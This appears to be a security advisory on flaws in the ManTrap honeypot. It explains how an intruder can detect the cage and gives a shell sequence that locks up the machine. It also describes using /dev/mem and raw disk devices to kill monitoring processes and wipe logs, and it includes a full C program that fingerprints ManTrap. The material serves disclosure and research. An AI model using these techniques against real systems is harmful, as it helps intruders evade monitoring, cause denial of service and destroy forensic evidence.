|
|
|
|
| |
| ManTrap's intent is to set up a honey pot as a 'cage' which can be filled with fake information running on a system where the intruder can be lured and studied, and which is also supposed to prevent erasing of logs, etc. This 'honey-pot' method is recommended by some security experts, but this specific implementation of it is poor. Instead of running as a VMware like virtual machine, ManTrap runs as a chroot like environment with kernel patches, and thus it can easily be identified and subverted. In case an intruder breaks in and finds out that it's a cage, s/he will most likely just trash it and move on instead of fulfilling the purpose of staying long enough to be studied / identified / traced. |
| |
Credit:
The information has been provided by Loki.
|
| |
Determining that the machine is a honey-pot:
ManTrap hides processes from the caged intruder (or at least tries to), by hiding them from the /proc in the cage (resembles what many LKM Trojans do), which sounds fine.
However, the cage still runs the same kernel as the real box, and has access to all kernel memory, etc. Using a syscall (in this case kill() ), we can get this information from the kernel instead of /proc. What we do is to simply send a signal (SIGCONT in this case) which hopefully shouldn't affect anything, to PID 1 to 65535 as a non-root user, and compare the results with /proc.
kill() gives EPERM and /proc/<PID> exists -> Fine
kill() gives EPERM and /proc/<PID> does not exist -> Not fine!
This can also possibly be used to detect LKM Trojans and the like. It might give a false alarm though; as some kernel patches designed to hide other user's processes might give the same result. Nevertheless, together with the other telltale signs of ManTrap it gives a very good fingerprint.
Denial-of-Service:
This looks like a result from the /proc filtering/emulation mentioned above. /proc/.. doesn't show up in any syscalls wanting to get the directory listing (such as getdents()). Also, (cd /proc/self; cd cwd; pwd) gives an error. Another interesting note is that the whole box can be made to lock up and disconnect all users for a couple of minutes by doing:
# cd /proc && cd self && cd cwd
# pwd <causes error response>
# cd ../../../../../
# cd proc
# cd self <should receive error response>
# ls, pwd, etc, <BOOM!>
More indications the machine is a honey-pot:
Since / isn't the real root of the file system, but rather /usr/rti/cage/root, the inode number is very off, usually in the 100000-200000 range instead of the normal 2. This can be checked by simply doing `ls -id /`.
Reading files:
If the intruder got root in the cage, it's very possible to read/write directly to/from /dev/mem, the raw disk devices, etc. The crash(1M) utility can be used to examine /dev/mem and get the real process listing etc, which includes all ManTrap's processes (and, yes, they can be killed...).
More serious damage can be caused using the raw disk devices, such as /dev/rdsk/c0t0d0s0. Any data on the system can be read/modified by the intruder, and this can be used to wipe logs and such. An utility such as fsdb(1M) can be used to view the directory listings.
Exploit:
/*
* ManTrap detection/testing program by wilson / f8labs - www.f8labs.org
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <strings.h>
#include <unistd.h>
#include <sys/signal.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <dirent.h>
void check_proc_vs_kill(int listpids)
{
struct stat st;
int i, counter;
char buf[520];
printf("proc-vs-kill() test: \n");
fflush(0);
if (geteuid() == 0)
{
printf(" Error: Running as root. NOT performing /proc-vs-kill() test.\n");
return;
}
if (listpids == 1)
{
printf("Listing mismatching PIDs:\n");
}
counter = 0;
for (i = 1; i < 65535; i ++)
{
if ((kill(i, SIGCONT) != 0) && (errno == EPERM)) /* send SIGCONT (which hopefully won't matter) to the process */
{
snprintf(buf, 511, "/proc/%d", i);
if (stat(buf, &st) != 0)
{
counter ++;
if (listpids == 1)
{
printf("%.5d ", i);
if (counter%8 == 0)
{
printf("\n");
}
}
}
}
}
if (listpids == 1)
{
printf("\n");
}
if (counter == 0)
{
printf(" Normal: No mismatches found.\n");
} else
{
printf(" ManTrap? %d mismatching PIDs found.\n", counter);
}
}
void check_proc_dotdot()
{
DIR *procDIR;
struct dirent *procdirent;
int found;
printf("dotdot test:\n");
procDIR = opendir("/proc");
if (procDIR == NULL)
{
printf(" Error: Couldn't open /proc while performing dotdot test.\n");
return;
}
found = 0;
procdirent = readdir(procDIR);
while (procdirent != NULL)
{
if (strcmp(procdirent->d_name, "..") == 0)
{
found = 1;
break;
}
procdirent = readdir(procDIR);
}
closedir(procDIR);
if (found == 0)
{
printf(" ManTrap? /proc/.. not found in directory listing!\n");
} else {
printf(" Normal: /proc/.. found in directory listing.\n");
}
}
void check_proc_cwdwalk()
{
char savedpwd[2048], newpwd[2048];
printf("cwdwalk test:\n");
if (getwd(savedpwd) == NULL)
{
printf(" Error: Couldn't get working directory while performing cwdwalk test.\n");
return;
}
if (chdir("/proc/self") != 0)
{
printf(" Error: Couldn't chdir to /proc/self while performing cwdwalk test.\n");
return;
}
if (chdir("cwd") != 0)
{
printf(" Error: Couldn't chdir to /proc/self/cwd while performing cwdwalk test.\n");
return;
}
if (getwd(newpwd) == NULL)
{
printf(" ManTrap? getwd() failed after chdir to /proc/self/cwd.\n");
} else {
printf(" Normal: getwd() succeeded after chdir to /proc/self/cwd.\n");
}
chdir(savedpwd);
return;
}
void usage(char *myname)
{
printf("Usage: %s <-a|-p|-l|-d|-c|-h>\n", myname);
printf(" -a performs ALL tests\n");
printf(" -p performs /proc-vs-kill() test\n");
printf(" -l performs /proc-vs-kill() test and lists mismatching PIDs\n");
printf(" -d performs /proc/.. test\n");
printf(" -c performs /proc/self/cwd test\n");
printf(" -h shows this help\n");
}
int main(int argc, char *argv[])
{
printf("ManTrap detection/testing program by wilson@f8labs.org - www.f8labs.org\n");
if (argc != 2)
{
usage(argv[0]);
exit(1);
}
if (strlen(argv[1]) != 2)
{
usage(argv[0]);
exit(1);
}
switch(argv[1][1])
{
case 'a':
check_proc_vs_kill(0);
check_proc_dotdot();
check_proc_cwdwalk();
break;
case 'p':
check_proc_vs_kill(0);
break;
case 'l':
check_proc_vs_kill(1);
break;
case 'd':
check_proc_dotdot();
break;
case 'c':
check_proc_cwdwalk();
break;
case 'h':
default:
usage(argv[0]);
exit(1);
break;
}
printf("Finished.\n");
}
|
|
|
|
|
|
|
|
|
|